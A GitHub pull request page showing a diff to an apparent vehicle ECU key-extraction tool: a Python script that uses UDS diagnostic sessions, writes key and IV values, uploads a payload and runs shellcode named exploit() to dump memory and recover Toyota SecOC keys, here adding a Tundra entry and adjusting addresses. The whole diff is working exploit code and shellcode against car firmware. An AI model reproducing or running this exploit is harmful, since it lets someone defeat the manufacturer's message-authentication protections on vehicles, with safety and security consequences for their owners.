Skip to content

Read Tundra dataflash #11

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
pd0wm wants to merge 1 commit into
base: while-loop
Choose a base branch
from
Open

Read Tundra dataflash #11

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 6 additions & 7 deletions extract_keys.py
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,7 @@
b'\x018965B4209000\x00\x00\x00\x00': b'\x01!!!!!!!!!!!!!!!!', # 2021 RAV4 Prime
b'\x018965B4233100\x00\x00\x00\x00': b'\x01!!!!!!!!!!!!!!!!', # 2023 RAV4 Prime
b'\x018965B4509100\x00\x00\x00\x00': b'\x01!!!!!!!!!!!!!!!!', # 2021 Sienna
b'\x048965F3401200\x00\x00\x00\x008A3113402000\x00\x00\x00\x008965F3402200\x00\x00\x00\x008A3213402000\x00\x00\x00\x00': b'\x04!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!',
}

KEY_STRUCT_SIZE = 0x20
Expand Down Expand Up @@ -61,7 +62,7 @@ def get_secoc_key(key_struct):
panda = Panda()
panda.set_safety_mode(CarParams.SafetyModel.elm327)

uds_client = UdsClient(panda, ADDR, ADDR + 8, BUS, timeout=0.1, response_pending_timeout=0.1)
uds_client = UdsClient(panda, ADDR, ADDR + 8, BUS, timeout=0.1, response_pending_timeout=1.0)

print("Getting application versions...")

Expand All @@ -82,8 +83,6 @@ def get_secoc_key(key_struct):
uds_client.diagnostic_session_control(SESSION_TYPE.PROGRAMMING)

# Get bootloader version
uds_client.diagnostic_session_control(SESSION_TYPE.DEFAULT)
uds_client.diagnostic_session_control(SESSION_TYPE.EXTENDED_DIAGNOSTIC)
bl_version = uds_client.read_data_by_identifier(DATA_IDENTIFIER_TYPE.APPLICATION_SOFTWARE_IDENTIFICATION)
print(" - APPLICATION_SOFTWARE_IDENTIFICATION (bootloader) ", bl_version)

Expand Down Expand Up @@ -113,7 +112,7 @@ def get_secoc_key(key_struct):
print("\nPreparing to upload payload...")

# Write something to DID 203, not sure why but needed for state machine
uds_client.write_data_by_identifier(0x203, b"\x00" * 5)
uds_client.write_data_by_identifier(0x203, b"\x01\x00\x00\x00\x00")

# Write KEY and IV to DID 201/202, prerequisite for request download
print(" - Write data by identifier 0x201", DID_201_KEY.hex())
Expand All @@ -126,7 +125,7 @@ def get_secoc_key(key_struct):
data = b"\x01" # [1] Format
data += b"\x46" # [2] 4 size bytes, 6 address bytes
data += b"\x01" # [3] memoryIdentifier
data += b"\x00" # [4]
data += b"\x01" # [4]
data += struct.pack('!I', 0xfebf0000) # [5] Address
data += struct.pack('!I', 0x1000) # [9] Size

Expand Down Expand Up @@ -155,7 +154,7 @@ def get_secoc_key(key_struct):
# [5] 0x0
# [6] mem addr
# [10] mem addr
data = b"\x45\x00"
data = b"\x45\x01"
data += struct.pack('!I', 0xfebf0000)
data += struct.pack('!I', 0x1000)

Expand All @@ -172,7 +171,7 @@ def get_secoc_key(key_struct):
# [5] 0x0
# [6] mem addr
# [10] mem addr
data = b"\x45\x00"
data = b"\x45\x01"
data += struct.pack('!I', 0xe0000)
data += struct.pack('!I', 0x8000)

Expand Down
Binary file modified payload.bin
View file
Open in desktop
Binary file not shown.
2 changes: 1 addition & 1 deletion shellcode/main.c
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ void exploit() {

int *addr = 0xff200000;
while (addr < 0xff208000) {
int i = 0x10;
int i = 0x0A;

if ((*(RSCFDnCFDTMSTSp + i) & 0b110) != 0) {
continue;
Expand Down